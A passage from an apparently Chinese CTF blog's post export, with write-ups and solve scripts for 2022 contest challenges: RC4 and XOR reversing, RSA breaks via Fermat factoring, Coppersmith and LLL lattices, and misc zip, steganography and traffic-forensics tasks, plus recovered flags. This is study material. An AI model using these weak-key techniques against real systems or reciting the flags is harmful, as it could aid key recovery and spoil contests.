S[j] = tmp t = (S[i] + S[j]) % 256 KeyStream.append(S[t])c = [84, 91, 254, 48, 129, 210, 135, 132, 112, 234, 208, 15, 213, 39, 108, 253, 86, 118, 248]print(len(c))T, S, Key = [], [], []PlainText, CryptoText, KeyStream = '', '', []init_S()init_T()swap_S()Get_KeyStream()print(KeyStream)for i in range(19): print(chr(KeyStream[i]^c[i]),end='')# NSSCTF{this_is_rc4} oh这就是rc4?以前没看过源码,感觉挺简单的。 android2反编译定位到encode类: 1234567891011121314package com.example.ilililililil;/* loaded from: classes.dex */public class Encoder { private int key = 123456789; public String encode(String str) { StringBuilder sb = new StringBuilder(); for (char c : str.toCharArray()) { sb.append((char) (c ^ this.key)); } return sb.toString(); }} 已知key做异或即可。","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"新生赛合集","slug":"赛事/新生赛合集","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/"},{"name":"SWPU2022","slug":"赛事/新生赛合集/SWPU2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E6%96%B0%E7%94%9F%E8%B5%9B%E5%90%88%E9%9B%86/SWPU2022/"}],"tags":[{"name":"re","slug":"re","permalink":"http://example.com/tags/re/"},{"name":"NSS","slug":"NSS","permalink":"http://example.com/tags/NSS/"},{"name":"新生赛","slug":"新生赛","permalink":"http://example.com/tags/%E6%96%B0%E7%94%9F%E8%B5%9B/"}]},{"title":"NSSCTF Round#6 Team","slug":"NSSCTF-Round-6-Team","date":"2022-10-16T10:21:29.000Z","updated":"2022-10-16T10:31:54.000Z","comments":true,"path":"2022/10/16/NSSCTF-Round-6-Team/","link":"","permalink":"http://example.com/2022/10/16/NSSCTF-Round-6-Team/","excerpt":"binary(V1)","text":"binary(V1) 虽然在后面异或了3,对p和q的比特影响非常之小,所以p、q仍然大致满足$p+q=2^{512}$,所以类似zer0pts CTF那题,解方程即可。 1234567891011121314151617181920from Crypto.Util.number import long_to_bytesn = 28439705991045663908857355142942262888109378224567220640321971170147687906191867226507772290105722468453003997560405961037860301720566204163583071580117631863630591384712172525673589612679984312909885721474004407318513252973235607119935090030342220110613332646827222206888937013221686874130002976891337482347c = 19147147229180935592900776234339673387299394177535713949270580797239517644947690854918878134729963297207021578792506584675663899080028514789587402852322201811049767759204792874820803675496704837543205833779286293353943614755261264004375211872686806028504902564331881943276490126603876805247247189761895772971P.<x> = ZZ[]t = 1 << 512while True: f = x ^ 2 - t * x + n rs = f.roots() if len(rs) > 0: p = rs[0][0] q = n // p assert p * q == n break t += 1d = inverse_mod(65537, (p - 1) * (q - 1))m = power_mod(c, d, n)print(long_to_bytes(m).decode()) binary(V2)这里异或的数较大,不能用V1的方法,考虑先利用$p+q=2^{512}$这一大致关系建立方程解出p或q的高位,再copper已知p高位恢复即可。 12345678910111213141516import gmpy2 from Crypto.Util.number import *n = 30922990347456222917444539556680823943887227159919972225540984336960832339775501069487618715102061181838518715208122786885229224735713077740655704542042089733020521332143961366919882134247596845707777520653357831207540764924471585714534980480437755533066407887622784022020839396643521892154136823395518763847c = 14404101377910063215556811836598054698395805241539170278590413082852350322381754181749356420746244575121938620896549335174534133100850321380464588512818088008879625862657133634998081654516156005613557049123826706652115924967600775632920027926373724318084460740820944304520569864767315879749100114552218784151e=0x10001s=2^512q_=int((s+gmpy2.iroot(s**2-4*n,2)[0])//2)PR.<x>=PolynomialRing(Zmod(n))f=q_+xq=q_+int(f.small_roots(X=2^50,beta=0.4,epsilon=0.05)[0])p=n//qphi=(p-1)*(q-1)d=gmpy2.invert(e,phi)m=int(pow(c,d,n))print(long_to_bytes(m))","categories":[{"name":"NSS","slug":"NSS","permalink":"http://example.com/categories/NSS/"},{"name":"NSSCTF Round#6 Team","slug":"NSS/NSSCTF-Round-6-Team","permalink":"http://example.com/categories/NSS/NSSCTF-Round-6-Team/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"NSS","slug":"NSS","permalink":"http://example.com/tags/NSS/"}]},{"title":"赣育杯2022","slug":"赣育杯2022","date":"2022-10-09T07:59:37.000Z","updated":"2022-10-12T03:55:46.000Z","comments":true,"path":"2022/10/09/赣育杯2022/","link":"","permalink":"http://example.com/2022/10/09/%E8%B5%A3%E8%82%B2%E6%9D%AF2022/","excerpt":"CryptoWilson","text":"CryptoWilson 由于rsa的私钥p和q取的很近所以费马分解得到两因子,威尔逊定理为: (p-1)!\\equiv-1modp其中p为素数。之前遇到的题目,通常把flag放在modp下求解即可,示例;这题经过pad 明文的比特数已经超过p了,所以我们在modp下求出来的其实是flag模p后的结果,也就是低位部分;因为copper没办法做所以考虑在modq下再求一次,用crt处理,具体一点:已知$m=flag\\cdot(p-1)!modn$,如果给m依次乘上$p,p+1,…q-1$,有$m_1=flag\\cdot(q-1)!modn$,这时把$m_1modq$得到$flag\\cdot(-1)\\equiv m_1modq$,所以这里求逆就行了,最后来个crt即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344from Crypto.Util.number import *from gmpy2 import *from sympy.ntheory.modular import *def fermat(num): x = iroot(num, 2)[0] if x * x < num: x += 1 # y^2 = x^2 - num while (True): y2 = x * x - num y = iroot(y2, 2)[0] if y * y == y2: break x += 1 result = [int(x + y), int(x - y)] print(result)a = 156853895847604116708242664263151514811095704969640303272039451331791888050995073274981545693518063639560286348739938318495685137088495867703518198511200409009953879436648706837731243061114851474801565873584183542649886358523850682697732574913523360866915083642887238043256280849100274825940626065115676325169c = 3459715117165130065996389169943285249501133832272446001239391765859259811270526185228996906338576254353123756173289118671028939933226544773197852424767051933844004667155191851195814295922794480300237399956789038592856532530692732011427288405114650955620859282144504446058845961744702163836107847961388150810fermat(a)l = [12524132538727147976454683542869473176723933298740764667643646868771435739017779964538584767004546975861773724104399289331497224456192089483187179727966173, 12524132538727147976454683542869473176723933298740764667643646868771435739017779964538584767004546975861773724104399289331497224456192089483187179727966053]assert l[0] > l[1]p = l[1]e = 65537q = a//passert p*q == af = (p-1)*(q-1)d = invert(e,f)m = pow(c,d,a)m1 = m*invert(-1, p)%p # 求出来的是flag mod pfor i in range(p, q): m = m*i%qm2 = m*invert(-1, q) %q # 同理 flag mod qsol = crt([p,q],[m1,m2])print(sol[0])print(long_to_bytes(int(sol[0]))) Lost_N这题原本作为一道想要考查多个知识点的套题还是可以的,但题目脚本和output没对上,属于是很容易误导选手了…首先是第二部分要去求last_n,根据欧拉定理把s对n求逆得到$(900\\cdot p-218\\cdot q) modn$,显而易见可以把模去掉,所以联立$p\\cdot q=n$建立一元二次方程解出两因子;第一部分比较显然是共私钥指数攻击,用五组解出来的d并不满足题目要求的435比特,看了下output里有两组非常离谱的冗余的e和c,于是把last_n和这俩组合一下作为第六组数据造格,求解出的d刚好为435比特,解出了flag。这里为什么觉得离谱,是因为题目脚本写的是循环输出五次n e c,结果最后需要用六组去造格,也是逆天了。 12345678910111213141516171819202122232425262728293031323334353637from gmpy2 import *c0 = n0 = e0 = c1 = n1 = e1 = c2 = n2 = e2 = c3 = n3 = e3 = c4 = n4 = e4 = c5 = n5 = e5 = n = max(n0,n1,n2,n3,n4) # 取最大者M=iroot(int(n),int(2))[0]a=[0]*7a[0]=[M,e0,e1,e2,e3,e4,e5]a[1]=[0,-n0,0,0,0,0,0]a[2]=[0,0,-n1,0,0,0,0]a[3]=[0,0,0,-n2,0,0,0]a[4]=[0,0,0,0,-n3,0,0]a[5]=[0,0,0,0,0,-n4,0]a[6]=[0,0,0,0,0,0,-n5]Mat = matrix(ZZ,a)Mat_LLL=Mat.LLL()#print(Mat_LLL[0][0])d = abs(Mat_LLL[0][0])//Mprint(d) 1234567891011121314151617181920212223242526from Crypto.Util.number import *from gmpy2 import *n = 20955464633057600258987829727550073699845816289000240676927869818926752810905511184835302717855745473943671910742784074561535017974853574714483642916831791020944940633062963043482236587316552330558006573820423830770910893877191630012247591380869307656539553888318621170921800017818132160253923739647771452839191101104391894609403591447166963426444018303147924843072923713248135717578047687411974516038299879758561542241544862102935741869647633013298181782208467117482306148238724598730801037692668154263059348953587766571379262442743822007387408949824805991797355089583176028081305319076896384126383926193964322235633c = 14815997295683082265558346455845370590765145583224067337292601455640475216349267044144296003388877395546880235511728120803143112914764263292087421926972160283428440959367872665892349776616002018624301524264223581314248857537034849571849747613963209414193510408342387107662655487869098045345428379025731617851483935711671021438908270746316921057871871545763798735895118697635903815383424855759281301248295597297869474539060531099443223045844791615425429748703429968627505406271675074549912664863784774239200764403372298995457799473112713379340870305136776932539188516395526955161359417473843082895317392495109895085666s = 14728527428626630951705148488338433865446345521255631461200851513782412494843597938863837697938230856843797646287742397249258609197032095158567448934855031190354034543862057663422053672290704598313096289223478302733688501373756860855445632789922930577582465209872782549135254792729915747104521949095814028476908208917363509089190935273004331739978623136706041729628143765893264698948654175039064609891374587695812144855411176143224066975193255513405865992328257766815240718115442741846443490733767716842367336385132648983241895710001620533668392060358573295789752856876282590472528110546264872047138094995909454134250s_ = invert(s,n)delta = iroot(s_**2 - 4*900*(-218*n),2)[0]p = (s_ + delta)//(2*900)q = n//passert p*q == ne1 = 0x10001f1 = (p-1)*(q-1)d1 = invert(e1,f1)last_n = pow(c,d1,n)print(last_n)dd = 52771251618246422496055097735715651807711833222951670020329880144899822430509798260393871381119460882023717774862539491823372729841print(dd.bit_length())cc = 13007070082982086015048648249698272815655157209727275797297990841215796701955079738986996208838342773211678208282162295881823413924960399315068498509939876883297864092435101096694113071462267388158595518905101264654742860199638059278239359756219217345342001728599121265614144789005805619626458575126846199823nn = 145575036089862184772968012014750816659166028840828357885024516131565102712346345625910708214596157522939248398359985832422106056149116726640753670919394145037581595172384392223713667048639158944450925280598688178812170253438103664700756173806183649477673497327790421063029596049211220930285435947389700047717m = pow(cc,dd,nn)print(long_to_bytes(m)) MiscbyteMusic图片的lsb有东西,分析hex可以在文件尾端看到一个passwd,猜测是cloacked-pixel隐写,恢复之后得一串指令: 1a=64E3,80*(128<t*[[6.5,7.3,8.7,7.3,11,0,0,11,0,0,10,0,0,0,0,0,6.5,7.3,8.2,6.5,10,0,0,10,0,0,8.7,0,0,8.2,7.3,0,6.5,7.3,8.7,7.3,8.7,0,0,0,10,0,8.2,0,0,7.3,6.5,0,0,0,6.5,0,10,0,0,0,8.7,0,0,0,0,0,0,0][int(64*t/a%64)]][int(t/a)%1]%255)*(1-64*t%a/a) google直接搜指令可以得到bytebeat这个项目,把指令放进去听一下可以确定是《Never Gonna Give You Up》,做一下md5即可。","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"赣育杯2022","slug":"赛事/赣育杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%B5%A3%E8%82%B2%E6%9D%AF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"构造格题型","slug":"构造格题型","date":"2022-09-29T00:47:01.000Z","updated":"2022-09-29T01:02:12.000Z","comments":true,"path":"2022/09/29/构造格题型/","link":"","permalink":"http://example.com/2022/09/29/%E6%9E%84%E9%80%A0%E6%A0%BC%E9%A2%98%E5%9E%8B/","excerpt":"此贴记录需要自己构造格的题型。","text":"此贴记录需要自己构造格的题型。 天山护网杯 solve附件: 1234567891011121314151617181920212223242526from Crypto.Util.number import *from secert import ximport randomimport hashlibp = getPrime(512)a = [random.randint(0, p) for _ in range(0, 10)]print(a)n = len(a)-1s = 0for i in range(0, n): s += a[i] * x[i]assert s == a[n]assert len(x) == nnum = 0for i in range(0, len(x)): num += pow(2, i) * x[i]flag = 'flag{' + hashlib.md5(long_to_bytes(num)).hexdigest() +'}''''[3631130005834133354690743070426946990113357694214012046336182654202388226326420113738573892961105404162706112716090095130533909080259440180331982267990558, 1396082521347951727420714046487017510974515664724144855379658168399622493874871871112673527174126815341011192728947173474585192741650537086485950272086118, 8018509711598897249910585935817457934046223038318052897635334982657509726770787757831773177867057390436624815822956528862913597929026942069220990592575896, 236770096254387032769026130240358205002341287536302597452834936457364785587478864464291332853887816003726767966249926711456869017106063324722525634179102, 2573765397940838694832961502358868907773480801491050726446912726653073838406151660861586670975833407650180735194418438164104828972815552504739849458986882, 911336394537970315141975504611458163590539833702307917609319563507075897359808321710648849375704276897322901579929720142802887900179114603002337698850160, 1607906049079792607091422465687472988249913835157423921276680747957205619958176443447836108978676466513605632118662958137939548841575696653614869578427604, 1381369178572370262251887591324950819109812332350075397831632396829494168239412557934005300716798834290270373718948081068268571204776265938806005924974740, 7679378489021657036770924659488821470857609827854795179257106404446872175669638968957508341962637737874175816694308036213961021469678374980698692278030320, 431983940928119630204732836082938386897917171184046208809472924867226891907081765335273275882437546055024948998724134515448495865070690551813944745413380]''' 本质上就是求序列x,由于输出s的元素的bit长度大致在510左右,可以判断x相当于a来说是比较小的数组;那么可以看作一个类似背包加密的问题,构造一个类似羊城杯线性代数的格: L=\\left[\\begin{matrix}1&0&0&a_1\\\\0&1&0&a_2\\\\0&0&1&a_3\\\\0&0&0&s\\end{matrix}\\right]解出来有好多组,一组组试吧。 123456789a = [3631130005834133354690743070426946990113357694214012046336182654202388226326420113738573892961105404162706112716090095130533909080259440180331982267990558, 1396082521347951727420714046487017510974515664724144855379658168399622493874871871112673527174126815341011192728947173474585192741650537086485950272086118, 8018509711598897249910585935817457934046223038318052897635334982657509726770787757831773177867057390436624815822956528862913597929026942069220990592575896, 236770096254387032769026130240358205002341287536302597452834936457364785587478864464291332853887816003726767966249926711456869017106063324722525634179102, 2573765397940838694832961502358868907773480801491050726446912726653073838406151660861586670975833407650180735194418438164104828972815552504739849458986882, 911336394537970315141975504611458163590539833702307917609319563507075897359808321710648849375704276897322901579929720142802887900179114603002337698850160, 1607906049079792607091422465687472988249913835157423921276680747957205619958176443447836108978676466513605632118662958137939548841575696653614869578427604, 1381369178572370262251887591324950819109812332350075397831632396829494168239412557934005300716798834290270373718948081068268571204776265938806005924974740, 7679378489021657036770924659488821470857609827854795179257106404446872175669638968957508341962637737874175816694308036213961021469678374980698692278030320, 431983940928119630204732836082938386897917171184046208809472924867226891907081765335273275882437546055024948998724134515448495865070690551813944745413380]a_l = a[:-1]M = matrix.zero(10)for i,j in enumerate(a_l): M[i,i] = 1 M[i,-1] = jM[-1,-1] = a[-1]L = M.LLL()print(L)","categories":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Practice","slug":"Lattice/Practice","permalink":"http://example.com/categories/Lattice/Practice/"}],"tags":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"}]},{"title":"DASCTF九月赛2022","slug":"DASCTF九月赛2022","date":"2022-09-29T00:07:47.000Z","updated":"2022-10-09T08:53:32.000Z","comments":true,"path":"2022/09/29/DASCTF九月赛2022/","link":"","permalink":"http://example.com/2022/09/29/DASCTF%E4%B9%9D%E6%9C%88%E8%B5%9B2022/","excerpt":"以后大型比赛中的难题更新到blog2.","text":"以后大型比赛中的难题更新到blog2. easyRSA直接记录一下官方wp就好,因为感觉这个解法没啥意义,就是小范围的搜索: 123456789101112131415161718192021222324252627282930#sagec = 262857004135341325365954795119195630698138090729973647118817900621693212191529885499646534515610526918027363734446577563494752228693708806585707918542489830672358210151020370518277425565514835701391091303404848540885538503732425887366285924392127448359616405690101810030200914619945580943356783421516140571033192987307744023953015589089516394737132984255621681367783910322351237287242642322145388520883300325056201966188529192590458358240120864932085960411656176e = 543692319895782434793586873362429927694979810701836714789970907812484502410531778466160541800747280593649956771388714635910591027174563094783670038038010184716677689452322851994224499684261265932205144517234930255520680863639225944193081925826378155392210125821339725503707170148367775432197885080200905199759978521133059068268880934032358791127722994561887633750878103807550657534488433148655178897962564751738161286704558463757099712005140968975623690058829135n = 836627566032090527121140632018409744681773229395209292887236112065366141357802504651617810307617423900626216577416313395633967979093729729146808472187283672097414226162248255028374822667730942095319401316780150886857701380015637144123656111055773881542557503200322153966380830297951374202391216434278247679934469711771381749572937777892991364186158273504206025260342916835148914378411684678800808038832601224951586507845486535271925600310647409016210737881912119def plus(e, n): m = 2 c = pow(m, e, n) q0 = 1 list1 = continued_fraction(Integer(e)/Integer(n)) conv = list1.convergents() for i in conv: k = i.numerator() #print(k) q1 = i.denominator() #print(q1) for r in range(20): for s in range(20): d = r*q1 + s*q0 m1 = pow(c, d, n) if m1 == m: print(r,s) return d q0 = q1d = plus(e, n)print(d)print(libnum.n2s(int(pow(c,d,n)))) easySignin队内师傅的思路,挺好的,避免用到二次剩余。首先通过逆推10次可以得到初始的a,b,c;然后把d放在mod p的多项式环下当作未知数,用init_g = d这一关系带入d,正向推10次建立环下的方程,解出d以后再用一次类似的解方程处理$t = (m+d)^2 %p$即可。 1234567891011121314151617181920212223242526272829303132333435363738from Crypto.Util.number import *p= 7591656713055743077369340861541583433090841738590989539280316533530045331013958613146671718809022799047779468311222607020894006899032327866283558110087799a= 4392865163304254999527172406061971162689920565151840813033448791785156740502864894051809689255751412382468345217962713758808061870635744521996229554057672b= 2119856022628544669301306700581535843188073099896481101405665476192582614655960576092254118367775147735092457551317887281026710342124525625026559538165667c= 3370586754351688470908526079815435343732016329743637661764947106415792049906966624513736208696137655804912688128186282852926377345819134856707156640355705g= 2221154642536617375933147254663757148609834736621720750750043572054496685087600339999953459509198087870095805651320901316659013390557077204194753685935362t= 6426975621182152052236088849377616252912408340750729257254509090637526282051064469268808395760737262115678691330037039061905028548054911000486882481093832for i in range(10): c = (b+c)*inverse(a,p) % p b = (a+b)*inverse(c,p) % p a = (a+c)*inverse(b,p) % pprint(a, b, c)PR.<d> = PolynomialRing(Zmod(p))g = dfor i in range(10): g = c*d^2 + b*g + a a = (a*b - c) % p b = (b*c - a) % p c = (c*a - b) % pf = g-2221154642536617375933147254663757148609834736621720750750043572054496685087600339999953459509198087870095805651320901316659013390557077204194753685935362 roots = f.roots()d = roots[1][0]print()print(d)PR.<x> = PolynomialRing(Zmod(p))f = x^2-troots = f.roots()print(roots) m = (roots[1][0] - d) % pprint(long_to_bytes(int(m)))# CBCTF{cjx_H0pe_that_love_1s_forever} LittleRSA又是简单的二维造格…令$t$为$t$模$N$的逆,则有$st=rN+1$,又$pt^2=kN^2+g$,两边同时乘$s^2$,得到$p(rN+1)^2=(kN^2+g)s^2$两边同时展开,整理得到:$(pr^2-ks^2)N^2-s^2g=p(-1-2rN)$可以构造格:$L=\\left[\\begin{matrix}g&N^2\\1&0\\end{matrix}\\right]$,$(p(-1-2rN),-s^2)$是格上相对非常小的向量,于是用LLL解出即可得到$s^2$,通过$s$还原$p$分解n解rsa。exp: 123456789101112131415161718192021222324252627282930313233# sagemathfrom sage.all import *N = g = P = Q = matA = [[1,g],[0,N^2]]L=Matrix(ZZ,matA)tmp=vector(ZZ,L.LLL()[0])print(tmp)from Crypto.Util.number import *from gmpy2 import *N = g = n = 90106928919727272173474070618911951313216606598108495724382284361415375454490594410306345748069424740100772955015304592942129026096113424198209327375124576666577469761124470792842854884924199449996929134613382626394351988541980388358156143332979538058465890179760337315789398915560641465656968797050755849799c = 51609249982849856103564442566936515708380814106997783395400669324617748952940831076546581735494963467680719842859574144530848473300102236821201997786375946601413660428461473204032985053128283751860315027843200214217715401391736262811016964783589439740884991543059175666298728428567481043422497862838127903980s2 = 23756396393524410973039412877936556416335367237261779783924004759865696259188736323082185637403078187089064276667791460539863612406770767864482025455611854606913447649576317562797728150679868472915628766095898787995243685529456492434450372583995s3 = 1703096866219569817841710120722024801172129285713276062493657151527831376599274719653327578175460913670322546273486052217558990179451330534956630028900812517189053457400581665150009s2 = int(iroot(s2,2)[0])s3 = int(iroot(s3,2)[0])print(s3.bit_length())tmp1 = inverse(s3,N)**2p = g*inverse(tmp1,N**2)%(N**2)q = n//pe = 65537phi = (p-1)*(q-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,n)))","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"DASCTF九月赛2022","slug":"buu/DASCTF九月赛2022","permalink":"http://example.com/categories/buu/DASCTF%E4%B9%9D%E6%9C%88%E8%B5%9B2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"羊城杯","slug":"羊城杯","date":"2022-09-02T13:06:26.000Z","updated":"2022-09-09T14:43:50.000Z","comments":true,"path":"2022/09/02/羊城杯/","link":"","permalink":"http://example.com/2022/09/02/%E7%BE%8A%E5%9F%8E%E6%9D%AF/","excerpt":"2021_CryptoBigrsa签到,n1和n2不互素:","text":"2021_CryptoBigrsa签到,n1和n2不互素: 123456789101112131415161718192021222324from Crypto.Util.number import *from gmpy2 import *n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073e = 65537q = gcd(n1,n2)p1 = n1//qp2 = n2//qc = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264phi1 = (q-1)*(p1-1)phi2 = (q-1)*(p2-1)dl = []# map返回迭代器for i in map(invert,[e,e],[phi1,phi2]): dl.append(i)c1 = pow(c,dl[1],n2)m = pow(c1,dl[0],n1)print(long_to_bytes(m))# SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8} 2022_Misc Crypto签到先rot13再base32解密。 EasyMisc给了个txt,维吉尼亚解密,得到压缩包密码:GWHT@R1nd0yyds解密得到一个混淆的图片,给了encode.py,直接百度搜索关键代码可以找到Novel_In_Image项目,直接套用decode.py得到输出的txt,观察第一行自卑与超越f,再搜索字母l,基本可以确定每个flag字符前面是文字,于是写一个正则过滤一下,再根据flag格式和题目语义确定flag: 12345678import ref = open('out_decode.txt','r',encoding='utf-8').read()a = re.findall('[^a-z\\{\\}0-9][a-z\\{\\}0-9]', f)for i in a: print(i)# flag{h1d3_1n_th3_p1ctur3} 迷失幻境取证大师直接梭,回收站里两张图有点可疑,导出来,再把图库里的1.png和哒哒哒.jpg导出来,因为这两张图和回收站的看起来一样,可能有隐藏数据。然后把45补上png4字节文件头,显示正常,和1.png做sub或者xor都可,能得到一个key:可爱可莉exif信息有:猜想可能是outgusee(想不到),直接解: 寻宝给的文件是字节前后部分交换过的zip,用脚本处理一下: 12345678910# 处理初始文件,把字节的前后两部分交换位置f = open('寻宝','rb')zip = open('game.zip','wb')p = f.read()l = []for i in p: j = bin(i)[2:].zfill(8) k = j[4:]+j[:4] l.append(int(k,2))zip.write(bytes(l)) 解压以后,里面有一个exe格式的小游戏,并附了游戏说明:上下左右键控制移动,吃完十字型护符即可进入下一关,注意躲避红色蝎子的攻击,死亡三次则游戏结束。吃到金色甲壳虫后的一段时间会使蝎子进入恐惧状态,此时碰到它们会把它们送回出生点。 温馨提示:第五关开始好像某种神秘的电波直接打的话非常难,考虑CE修改器,基本教程,首先可以把游戏速度改的很慢来找生命值的内存地址:修改得很大,然后就可以快乐游戏了:从第一关到第四关是变异猪圈密码,翻译过来为OWOH;从第五关开始是某种电波,猜测是电平相关,因为图像类似于电平波动:不是曼彻斯特就是差分曼彻斯特,测试确定为后者,转为字节:背景音乐钢琴曲对应数字114514,所以解压密码连起来为OWOH_a1_114514解压以后txt里面有零宽即为flag GWHT{Wher3_1S_Th4_1gI981O?} Unlimited Zip Works首先想的是循环解压,全部解压发现最后得flag.txt是个幌子;用7z可以看到每层压缩包都有注释,也是非常疑惑winrar看不见。所以写个脚本在解压得时候读取注释信息,发现藏的是一个zip文件,遂提取: 123456789101112131415161718192021222324252627import zipfile# 解压并提取注释信息重写新的zipname = 'z//file.zip'infor_list = []while True: try: zipfilename = name z = zipfile.ZipFile(zipfilename, 'r') # r表示解压 name_list = z.namelist() #print(name_list[0]) infolist = z.infolist() for info in infolist: infor_list.append(info.comment) #print(len(info.comment)) name = 'z//'+name_list[0] z.extract(name_list[0], path='z\\\\') except: breakinfor_list.reverse()#print(infor_list)z = b''for i in infor_list: z = z + iff = open('flag.zip','wb')ff.write(z)print(z) 提取出来里面一堆txt,每个txt指向下一个txt,最后发现是封闭的指向,于是按照顺序把文件名连起来,以为是某种编码,结果不是;队友细心发现flag.zip还藏有一个zip,于是提取出来,解压以后里面有一张jpg,不是隐写;最后,发现新的zip注释里还有一个zip,提取出来解压即为flag。ps:真心希望出题别那么套,并且本题干扰的txt,图片还那么多…脚本: 12345678910111213141516171819202122import zipfilewith open('flag.zip','rb') as f: d = f.read()m = d[160660+60:]with open('new.zip','wb') as ff: for i in range(0,len(m),57): ff.write(m[i:i+2])name = 'new.zip'zipfilename = namez = zipfile.ZipFile(zipfilename, 'r') # r表示解压infolist = z.infolist()print(infolist)for info in infolist: print(info.comment) zz = info.commentwith open('last.zip','wb') as f_: f_.write(zz)#[<ZipInfo filename='archer.jpg' filemode='-rw-rw-rw-' file_size=4842>]#b'PK\\x03\\x04\\x14\\x00\\x00\\x00\\x08\\x00.wkT1\\xa1\\x9e\\xee(\\x00\\x00\\x00&\\x00\\x00\\x00\\x01\\x00\\x00\\x00fsq\\x0cv\\x0eq\\xab\\xf6\\x8cO\\xcc\\x8d/\\xc9H\\x8dwqu\\xf3q\\x0cq\\x8d\\xcfO\\x8b\\xcf\\xad\\x8c\\x8f\\xca,H\\xcb\\xccI\\xad\\x05\\x00PK\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x08\\x00.wkT1\\xa1\\x9e\\xee(\\x00\\x00\\x00&\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb6\\x81\\x00\\x00\\x00\\x00fPK\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00/\\x00\\x00\\x00G\\x00\\x00\\x00\\x00\\x00' DASCTF{I_am_the_DEFLATE_of_my_Zipfile}补一个010的zip模板解析以后在地址160720位置的冗余数据,即zip开头两个字节: 躲猫猫首先发现有FTP协议,于是追踪tcp流可以导出zip文件,压缩包里的key.log没有加密,可以导入它解密tls流,然后追踪http流发现跟邮箱附件上传有关的ftn_hander,在其响应流里可分割出jpg图片,也就是压缩包密码:在tcp流11中可以找到missing_cat.png,导出是经过加密的图片:解压zip以后得到加密图片的py文件以及secret,搜索一下代码发现是dsctf的密码题,直接套一下脚本就能解了: 12345678910111213141516171819202122232425262728293031323334353637383940414243from PIL import Imagefrom Crypto.Util.number import *from numpy import array, zeros, uint8image = Image.open("encflag.jpg")w, h = image.sizeimagearray = array(image)x = y = kn = 1x1 = round(x/y*0.001, 16)u1 = y*3650/xx2 = round(x/y*0.00101, 16)u2 = y*3675/xx3 = round(x/y*0.00102, 16)u3 = y*3680/xkt = [x1, x2, x3]print(kt)temp_image = zeros(shape=[h, w, 3], dtype=uint8)print(len(temp_image))print(len(temp_image[0]))print(len(temp_image[0][1]))for k in range(0, kn): for i in range(0, h): for j in range(0, w): x1 = u1 * x1 * (1 - x1) x2 = u2 * x2 * (1 - x2) x3 = u3 * x3 * (1 - x3) r1 = int(x1*255) r2 = int(x2*255) r3 = int(x3*255) for t in range(0, 3): temp_image[i][j][t] = (imagearray[i][j][t]-((r1+r2) ^ r3)) % 256 x1 = kt[0] x2 = kt[1] x3 = kt[2]encflagarray = Image.fromarray(temp_image)encflagarray.show()encflagarray.save("flag.jpg") 得到一张类似于maxicode的图片,把中间的猫咪换成该code的同心圆以后识别出flag。 LRSA首先通过$gcd$可求$P和Q$ 由于等式$(p-58)P+(q-t)=kQ$ $=>(p-58)P-kQ=t-q≈2^{1023}$ 构造格子$L=\\left[\\begin{matrix}1&P\\0&Q\\end{matrix}\\right]$ $=>v=(p-58,t-q)$在L上 且$||v||<\\sqrt{2}det(L)^{\\frac{1}{2}}$ 利用LLL算法求解 12345678910111213141516171819202122232425262728293031from Crypto.Util.number import *from gmpy2 import *e = 65537B=1023PPQ=PQQ=t=44c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746PQ = gcd(PQQ,PPQ)print(PQ)P = PPQ//PQQ = PQQ//PQprint(P)print(Q)p = t+71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407q = 58+80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205phi = (p-1)*(q-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,p*q)))# LLL求解# P = 